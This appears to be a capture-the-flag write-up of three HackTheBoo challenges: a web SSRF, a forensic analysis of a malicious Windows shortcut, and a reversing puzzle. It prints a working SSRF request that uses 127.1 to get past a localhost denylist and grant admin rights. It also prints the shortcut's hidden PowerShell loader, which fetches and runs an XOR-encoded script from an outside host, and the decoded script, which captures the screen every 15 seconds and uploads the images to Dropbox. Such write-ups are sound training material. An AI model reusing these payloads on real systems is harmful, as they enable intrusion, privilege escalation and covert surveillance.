Web
HauntMarkt
Reconnaisance
We get access to a webpage where we can login and register as a user.
We also get access to the source code of this website.
run.py
The application seems to run on port “1337”.
1
2
3
from application.main import app
app.run(host='0.0.0.0', port=1337, debug=True)
util.py
We can see a denylist for local addresses.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
blocked_host = ["127.0.0.1", "localhost", "0.0.0.0"]
def downloadManual(url):
safeUrl = isSafeUrl(url)
if safeUrl:
try:
local_filename = url.split("/")[-1]
r = requests.get(url)
with open(f"/opt/manualFiles/{local_filename}", "wb") as f:
for chunk in r.iter_content(chunk_size=1024):
if chunk:
f.write(chunk)
return True
except:
return False
return False
def isFromLocalhost(func):
@wraps(func)
def check_ip(*args, **kwargs):
if request.remote_addr != "127.0.0.1":
return abort(403)
return func(*args, **kwargs)
return check_ip
routes.py
We can also see that an URL can be added when adding a new product, and that there is an “addAdmin” endpoint.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@api.route('/product', methods=['POST'])
@isAuthenticated
def sellProduct(user):
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
name = data.get('name', '')
price = data.get('price', '')
description = data.get('description', '')
manualUrl = data.get('manual', '')
if not name or not price or not description or not manualUrl:
return response('All fields are required!'), 401
manualPath = downloadManual(manualUrl)
if (manualPath):
addProduct(name, description, price)
return response('Product submitted! Our mods will review your request')
return response('Invalid Manual URL!'), 400
@api.route('/addAdmin', methods=['GET'])
@isFromLocalhost
def addAdmin():
username = request.args.get('username')
if not username:
return response('Invalid username'), 400
result = makeUserAdmin(username)
if result:
return response('User updated!')
return response('Invalid username'), 400
Exploit
We can bypass the limited blocklist with “http://127.1:1337/” and add our registered user “decl” as an admin. There are a bunch of possible values (hacktricks) that can be used to bypass this denylist.
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/product HTTP/1.1
Host: 94.237.63.238:37330
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
...
Cookie: session=.eJwVy2EPQkAcgPHv4n2WKy29PK12_4UlDr0xd4yLc02saH33eP08v6_Wq7potYNWjFCxMxeeABJOxHAFeZHWN7lNdqR-xtQGS58ngyM6Mnnq77c5SL9J0FtcbBgZ-jTkoUQeuw1fsKTbBTtBYnpHB7lBPXnxWvfyCEMXrSCQE0wJtsIN3yvsp6nTdEBxOahrFmYVG0rt9wfb6TXa.ZTqtkw.-yzkOMgVnxWd4-rNhxMH6oit6tQ
{
"name":"NewProduct",
"price":"2",
"description":"SSRF",
"manual":"http://127.1:1337/api/addAdmin?username=decl"
}
We get a message that our product has been submitted.
1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.6
Date: Thu, 26 Oct 2023 18:53:30 GMT
Content-Type: application/json
Content-Length: 72
Vary: Cookie
Connection: close
{
"message": "Product submitted! Our mods will review your request"
}
We can now re-authenticate and our account became an admin account. We now see the flag on the product page.
Forensics
Trick or Treat
Another night staying alone at home during Halloween. But someone wanted to play a Halloween game with me. They emailed me the subject “Trick or Treat” and an attachment. When I opened the file, a black screen appeared for a second on my screen. It wasn’t so scary; maybe the season is not so spooky after all.
We get a zip that contains an windows shortcut (.lnk). We can investigate the contents with LECmd
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
PS C:\Users\flare\Documents\CTF\HackTheBoo\trick_or_treat> ./LECmd.exe -f ".\trick_or_treat.lnk"
Source created: 2023-10-17 06:23:48
Source modified: 2023-10-26 19:31:44
Source accessed: 2023-10-26 19:40:05
--- Header ---
Target created: null
Target modified: null
Target accessed: null
File size (bytes): 0
Flags: HasTargetIdList, HasName, HasWorkingDir, HasArguments, HasIconLocation, IsUnicode, HasExpIcon
File attributes: 0
Hot key: CONTROL+C
Icon index: 70
Show window: SwShowminnoactive (Display the window as minimized without activating it.)
Name: Trick or treat
Working Directory: C:
Arguments: /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a -windowstyle hidden "$asvods ='';$UserAgents = @('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/15.15063','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko');$RandomUserAgent = $UserAgents | Get-Random;$WebClient = New-Object System.Net.WebClient;$WebClient.Headers.Add('User-Agent', $RandomUserAgent);$boddmei = $WebClient.DownloadString('http://windowsliveupdater.com');$vurnwos ='';for($i=0;$i -le $boddmei.Length-2;$i=$i+2){$bodms=$boddmei[$i]+$boddmei[$i+1];$decodedChar = [char]([convert]::ToInt16($bodms, 16));$xoredChar=[char]([byte]($decodedChar) -bxor 0x1d);$vurnwos = $vurnwos + $xoredChar};Invoke-Command -ScriptBlock ([Scriptblock]::Create($vurnwos));Invoke-Command -ScriptBlock ([Scriptblock]::Create($asvods));
Icon Location: C:\Windows\System32\shell32.dll
--- Extra blocks information ---
>> Icon environment data block
Icon path: %SystemRoot%\System32\shell32.dll
>> Special folder data block
Special Folder ID: 37
>> Known folder data block
Known folder GUID: 1ac14e77-02e7-4e5d-b744-2eb1ae5198b7 ==> System32
>> Property store data block (Format: GUID\ID Description ==> Value)
46588ae2-4cbc-4338-bbfc-139326986dce\4 SID ==> S-1-5-21-3849600975-1564034632-632203374-1001
---------- Processed C:\Users\flare\Documents\CTF\HackTheBoo\trick_or_treat\trick_or_treat.lnk in 0,48998640 seconds ----------
We see a powershell script being run in the arguments of this shortcut. We can clean it up. We find out this script connects to “http://windowsliveupdater.com”.
1
$boddmei = $WebClient.DownloadString('http://windowsliveupdater.com');$vurnwos ='';
In the wireshark logs we can find packets send to this URL:
We can update the existing script to use the data of this package and write the output to console rather than calling Invoke-Command
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#/k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a -windowstyle hidden ";
$asvods ='';
$UserAgents = @('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/15.15063','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko');
$RandomUserAgent = $UserAgents | Get-Random;$WebClient = New-Object System.Net.WebClient;
$WebClient.Headers.Add('User-Agent', $RandomUserAgent);
#$boddmei = $WebClient.DownloadString('http://windowsliveupdater.com');
$boddmei = '7b68737e697472733d596f726d5f726530486d71727c793d661717465e70797178695f74737974737a353440176d7c6f7c703d35173d3d3d3d17464d7c6f7c707869786f3d35507c73797c69726f643d203d39496f6878313d4b7c7168785b6f72704d746d78717473783d203d39496f6878344017465c71747c6e353f7b3f344017466e696f74737a40394e72686f7e785b7471784d7c697517343d1739596f726d5f72655c7e7e786e6e49727678733d203d3f55495f666e2964424d68706d762c2c2c2c2c2c2c733c3c3c603f17397268696d68695b7471783d203d4e6d717469304d7c69753d394e72686f7e785b7471784d7c69753d3071787c7b1739497c6f7a78695b7471784d7c6975203f32397268696d68695b7471783f17397c6f7a3d203d3a663d3f6d7c69753f273d3f3a3d363d39497c6f7a78695b7471784d7c69753d363d3a3f313d3f707279783f273d3f7c79793f313d3f7c6869726f78737c70783f273d696f6878313d3f706869783f273d7b7c716e783d603a17397c686975726f74677c697472733d203d3f5f787c6f786f3d3f3d363d39596f726d5f72655c7e7e786e6e4972767873173975787c79786f6e3d203d53786a30527f77787e693d3f4e646e697870335e727171787e697472736e335a7873786f747e3359747e697472737c6f6446464e696f74737a4031464e696f74737a40403f173975787c79786f6e335c7979353f5c686975726f74677c697472733f313d397c686975726f74677c6974727334173975787c79786f6e335c7979353f596f726d7f7265305c4d54305c6f7a3f313d397c6f7a34173975787c79786f6e335c7979353f5e7273697873693049646d783f313d3a7c6d6d71747e7c6974727332727e697869306e696f787c703a341754736b727678304f786e695078697572793d30486f743d7569696d6e2732327e72736978736933796f726d7f72657c6d74337e7270322f327b7471786e32686d71727c793d305078697572793d4d726e693d3054735b7471783d394e72686f7e785b7471784d7c69753d3055787c79786f6e3d3975787c79786f6e176017176a75747178352c346617173d3d5c79793049646d783d305c6e6e78707f7164537c70783d4e646e697870334a747379726a6e335b726f706e314e646e69787033596f7c6a74737a17173d3d396e7e6f7878736e3d203d464a747379726a6e335b726f706e334e7e6f7878734027275c71714e7e6f7878736e17173d3d3969726d3d3d3d3d203d35396e7e6f7878736e335f726873796e3349726d3d3d3d3d613d50787c6e686f7830527f77787e693d3050747374706870343350747374706870173d3d3971787b693d3d3d203d35396e7e6f7878736e335f726873796e3351787b693d3d3d613d50787c6e686f7830527f77787e693d3050747374706870343350747374706870173d3d396a747969753d3d203d35396e7e6f7878736e335f726873796e334f747a75693d3d613d50787c6e686f7830527f77787e693d30507c65747068703433507c6574706870173d3d397578747a75693d203d35396e7e6f7878736e335f726873796e335f72696972703d613d50787c6e686f7830527f77787e693d30507c65747068703433507c657470687017173d3d397f726873796e3d3d3d203d46596f7c6a74737a334f787e697c737a71784027275b6f727051494f5f353971787b69313d3969726d313d396a74796975313d397578747a756934173d3d397f706d3d3d3d3d3d3d203d53786a30527f77787e693d3049646d78537c70783d4e646e69787033596f7c6a74737a335f7469707c6d3d305c6f7a687078736951746e693d354674736940397f726873796e336a7479697534313d354674736940397f726873796e337578747a756934173d3d397a6f7c6d75747e6e3d203d46596f7c6a74737a335a6f7c6d75747e6e4027275b6f727054707c7a7835397f706d3417173d3d397a6f7c6d75747e6e335e726d645b6f72704e7e6f78787335397f726873796e3351727e7c69747273313d46596f7c6a74737a334d7274736940272758706d6964313d397f726873796e336e7467783417173d3d397f706d334e7c6b78353f3978736b27484e584f4d4f525b545158415c6d6d597c697c4151727e7c71414978706d413978736b277e72706d6869786f737c7078305e7c6d69686f78336d737a3f34173d3d397a6f7c6d75747e6e3359746e6d726e783534173d3d397f706d3359746e6d726e783534173d3d173d3d6e697c6f69306e7178786d3d304e787e7273796e3d2c28173d3f3978736b27484e584f4d4f525b545158415c6d6d597c697c4151727e7c71414978706d413978736b277e72706d6869786f737c7078305e7c6d69686f78336d737a3f3d613d596f726d5f726530486d71727c791760
'
$vurnwos ='';
for($i=0;$i -le $boddmei.Length-2;$i=$i+2)
{
$bodms=$boddmei[$i]+$boddmei[$i+1];
$decodedChar = [char]([convert]::ToInt16($bodms, 16));
$xoredChar=[char]([byte]($decodedChar) -bxor 0x1d);
$vurnwos = $vurnwos + $xoredChar};
#Invoke-Command -ScriptBlock ([Scriptblock]::Create($vurnwos));
#Invoke-Command -ScriptBlock ([Scriptblock]::Create($asvods));
Write-Output $vurnwos;
Write-Output $asvods;
We find the flag in the output as it’s a powershell script that seems to take screen captures and upload it to a dropbox owned by the adversary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
function DropBox-Upload {
[CmdletBinding()]
param (
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
[Alias("f")]
[string]$SourceFilePath
)
$DropBoxAccessToken = "HTB{s4y_Pumpk1111111n!!!}"
$outputFile = Split-Path $SourceFilePath -leaf
$TargetFilePath="/$outputFile"
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
$authorization = "Bearer " + $DropBoxAccessToken
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Authorization", $authorization)
$headers.Add("Dropbox-API-Arg", $arg)
$headers.Add("Content-Type", 'application/octet-stream')
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
}
while(1){
Add-Type -AssemblyName System.Windows.Forms,System.Drawing
$screens = [Windows.Forms.Screen]::AllScreens
$top = ($screens.Bounds.Top | Measure-Object -Minimum).Minimum
$left = ($screens.Bounds.Left | Measure-Object -Minimum).Minimum
$width = ($screens.Bounds.Right | Measure-Object -Maximum).Maximum
$height = ($screens.Bounds.Bottom | Measure-Object -Maximum).Maximum
$bounds = [Drawing.Rectangle]::FromLTRB($left, $top, $width, $height)
$bmp = New-Object -TypeName System.Drawing.Bitmap -ArgumentList ([int]$bounds.width), ([int]$bounds.height)
$graphics = [Drawing.Graphics]::FromImage($bmp)
$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)
$bmp.Save("$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png")
$graphics.Dispose()
$bmp.Dispose()
start-sleep -Seconds 15
"$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png" | DropBox-Upload
}
Reversing
SpellBrewery
I’ve been hard at work in my spell brewery for days, but I can’t crack the secret of the potion of eternal life. Can you uncover the recipe?
We get a compressed file that contains an executable and a .dll file. When running the file, it asks us to create a spell to get the flag.
1
2
3
4
5
6
7
PS C:\Users\flare\Documents\CTF\HackTheBoo\spellbrewery> ./SpellBrewery
1. List Ingredients
2. Display Current Recipe
3. Add Ingredient
4. Brew Spell
5. Clear Recipe
6. Quit
We can load the “SpellBrewery.dll” in dnSpy
and see the source code. We find the function that validates if the brewery is correct.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private static void BrewSpell()
{
bool flag = Brewery.recipe.Count < 1;
if (flag)
{
Console.WriteLine("You can't brew with an empty cauldron");
}
else
{
byte[] array = Brewery.recipe.Select((Ingredient ing) => (byte)(Array.IndexOf<string>(Brewery.IngredientNames, ing.ToString()) + 32)ToArray<byte>();
bool flag2 = Brewery.recipe.SequenceEqual(Brewery.correct.Select((string name) => new Ingredient(name)));
if (flag2)
{
Console.WriteLine("The spell is complete - your flag is: " + Encoding.ASCII.GetString(array));
Environment.Exit(0);
}
else
{
Console.WriteLine("The cauldron bubbles as your ingredients melt away. Try another recipe.");
}
}
}
We also find the correct
array that contains the ingredients to get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private static readonly string[] IngredientNames = new string[]
{
"Witch's Eye", "Bat Wing", "Ghostly Essence", "Toadstool Extract", "Vampire Blood", "Mandrake Root", "Zombie Brain", "Ghoul's Breath", "SpiderVenom", "Black Cat's Whisker",
"Werewolf Fur", "Banshee's Wail", "Spectral Ash", "Pumpkin Spice", "Goblin's Earwax", "Haunted Mist", "Wraith's Tear", "Serpent Scale", "MoonlitFern", "Cursed Skull",
"Raven Feather", "Wolfsbane", "Frankenstein's Bolt", "Wicked Ivy", "Screaming Banshee Berry", "Mummy's Wrappings", "Dragon's Breath", "BubblingCauldron Brew", "Gorehound's Howl", "Wraithroot",
"Haunted Grave Moss", "Ectoplasmic Slime", "Voodoo Doll's Stitch", "Bramble Thorn", "Hocus Pocus Powder", "Cursed Clove", "Wicked Witch's Hair","Halloween Moon Dust", "Bog Goblin Slime", "Ghost Pepper",
"Phantom Firefly Wing", "Gargoyle Stone", "Zombie Toenail", "Poltergeist Polyp", "Spectral Goo", "Salamander Scale", "Cursed Candelabra Wax","Witch Hazel", "Banshee's Bane", "Grim Reaper's Scythe",
"Black Widow Venom", "Moonlit Nightshade", "Ghastly Gourd", "Siren's Song Seashell", "Goblin Gold Dust", "Spider Web Silk", "Haunted Spirit Vine","Frog's Tongue", "Mystic Mandrake", "Widow's Peak Essence",
"Wicked Warlock's Beard", "Crypt Keeper's Cryptonite", "Bewitched Broomstick Bristle", "Dragon's Scale Shimmer", "Vampire Bat Blood", "GraveyardGrass", "Halloween Harvest Pumpkin", "Cursed Cobweb Cotton", "Phantom Howler Fur", "Wraithbone",
"Goblin's Green Slime", "Witch's Brew Brew", "Voodoo Doll Pin", "Bramble Berry", "Spooky Spellbook Page", "Halloween Cauldron Steam", "SpectralSpectacles", "Salamander's Tail", "Cursed Crypt Key", "Pumpkin Patch Spice",
"Haunted Hay Bale", "Banshee's Bellflower", "Ghoulish Goblet", "Frankenstein's Lab Liquid", "Zombie Zest Zest", "Werewolf Whisker", "GargoyleGaze", "Black Cat's Meow", "Wolfsbane Extract", "Goblin's Gold",
"Phantom Firefly Fizz", "Spider Sling Silk", "Widow's Weave", "Wraith Whisper", "Siren's Serenade", "Moonlit Mirage", "Spectral Spark", "Dragon'sRoar", "Banshee's Banshee", "Witch's Whisper",
"Ghoul's Groan", "Toadstool Tango", "Vampire's Kiss", "Bubbling Broth", "Mystic Elixir", "Cursed Charm"
};
private static readonly string[] correct = new string[]
{
"Phantom Firefly Wing", "Ghastly Gourd", "Hocus Pocus Powder", "Spider Sling Silk", "Goblin's Gold", "Wraith's Tear", "Werewolf Whisker", "GhoulishGoblet", "Cursed Skull", "Dragon's Scale Shimmer",
"Raven Feather", "Dragon's Scale Shimmer", "Zombie Zest Zest", "Ghoulish Goblet", "Werewolf Whisker", "Cursed Skull", "Dragon's Scale Shimmer","Haunted Hay Bale", "Wraith's Tear", "Zombie Zest Zest",
"Serpent Scale", "Wraith's Tear", "Cursed Crypt Key", "Dragon's Scale Shimmer", "Salamander's Tail", "Raven Feather", "Wolfsbane", "Frankenstein'sLab Liquid", "Zombie Zest Zest", "Cursed Skull",
"Ghoulish Goblet", "Dragon's Scale Shimmer", "Cursed Crypt Key", "Wraith's Tear", "Black Cat's Meow", "Wraith Whisper"
};
We can now put these in to get the flag.
Manual
Automatic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
IngredientNames = [
"Witch's Eye", "Bat Wing", "Ghostly Essence", "Toadstool Extract", "Vampire Blood", "Mandrake Root", "Zombie Brain", "Ghoul's Breath", "Spider Venom", "Black Cat's Whisker",
"Werewolf Fur", "Banshee's Wail", "Spectral Ash", "Pumpkin Spice", "Goblin's Earwax", "Haunted Mist", "Wraith's Tear", "Serpent Scale", "Moonlit Fern", "Cursed Skull",
"Raven Feather", "Wolfsbane", "Frankenstein's Bolt", "Wicked Ivy", "Screaming Banshee Berry", "Mummy's Wrappings", "Dragon's Breath", "Bubbling Cauldron Brew", "Gorehound's Howl", "Wraithroot",
"Haunted Grave Moss", "Ectoplasmic Slime", "Voodoo Doll's Stitch", "Bramble Thorn", "Hocus Pocus Powder", "Cursed Clove", "Wicked Witch's Hair", "Halloween Moon Dust", "Bog Goblin Slime", "Ghost Pepper",
"Phantom Firefly Wing", "Gargoyle Stone", "Zombie Toenail", "Poltergeist Polyp", "Spectral Goo", "Salamander Scale", "Cursed Candelabra Wax", "Witch Hazel", "Banshee's Bane", "Grim Reaper's Scythe",
"Black Widow Venom", "Moonlit Nightshade", "Ghastly Gourd", "Siren's Song Seashell", "Goblin Gold Dust", "Spider Web Silk", "Haunted Spirit Vine", "Frog's Tongue", "Mystic Mandrake", "Widow's Peak Essence",
"Wicked Warlock's Beard", "Crypt Keeper's Cryptonite", "Bewitched Broomstick Bristle", "Dragon's Scale Shimmer", "Vampire Bat Blood", "Graveyard Grass", "Halloween Harvest Pumpkin", "Cursed Cobweb Cotton", "Phantom Howler Fur", "Wraithbone",
"Goblin's Green Slime", "Witch's Brew Brew", "Voodoo Doll Pin", "Bramble Berry", "Spooky Spellbook Page", "Halloween Cauldron Steam", "Spectral Spectacles", "Salamander's Tail", "Cursed Crypt Key", "Pumpkin Patch Spice",
"Haunted Hay Bale", "Banshee's Bellflower", "Ghoulish Goblet", "Frankenstein's Lab Liquid", "Zombie Zest Zest", "Werewolf Whisker", "Gargoyle Gaze", "Black Cat's Meow", "Wolfsbane Extract", "Goblin's Gold",
"Phantom Firefly Fizz", "Spider Sling Silk", "Widow's Weave", "Wraith Whisper", "Siren's Serenade", "Moonlit Mirage", "Spectral Spark", "Dragon's Roar", "Banshee's Banshee", "Witch's Whisper",
"Ghoul's Groan", "Toadstool Tango", "Vampire's Kiss", "Bubbling Broth", "Mystic Elixir", "Cursed Charm"
]
correct = [
"Phantom Firefly Wing", "Ghastly Gourd", "Hocus Pocus Powder", "Spider Sling Silk", "Goblin's Gold", "Wraith's Tear", "Werewolf Whisker", "Ghoulish Goblet", "Cursed Skull", "Dragon's Scale Shimmer",
"Raven Feather", "Dragon's Scale Shimmer", "Zombie Zest Zest", "Ghoulish Goblet", "Werewolf Whisker", "Cursed Skull", "Dragon's Scale Shimmer", "Haunted Hay Bale", "Wraith's Tear", "Zombie Zest Zest",
"Serpent Scale", "Wraith's Tear", "Cursed Crypt Key", "Dragon's Scale Shimmer", "Salamander's Tail", "Raven Feather", "Wolfsbane", "Frankenstein's Lab Liquid", "Zombie Zest Zest", "Cursed Skull",
"Ghoulish Goblet", "Dragon's Scale Shimmer", "Cursed Crypt Key", "Wraith's Tear", "Black Cat's Meow", "Wraith Whisper"
]
def ingredientTxfm(ing: str):
return IngredientNames.index(ing) + 32
result = bytes(map(ingredientTxfm, correct))
print(f"Flag: {result}")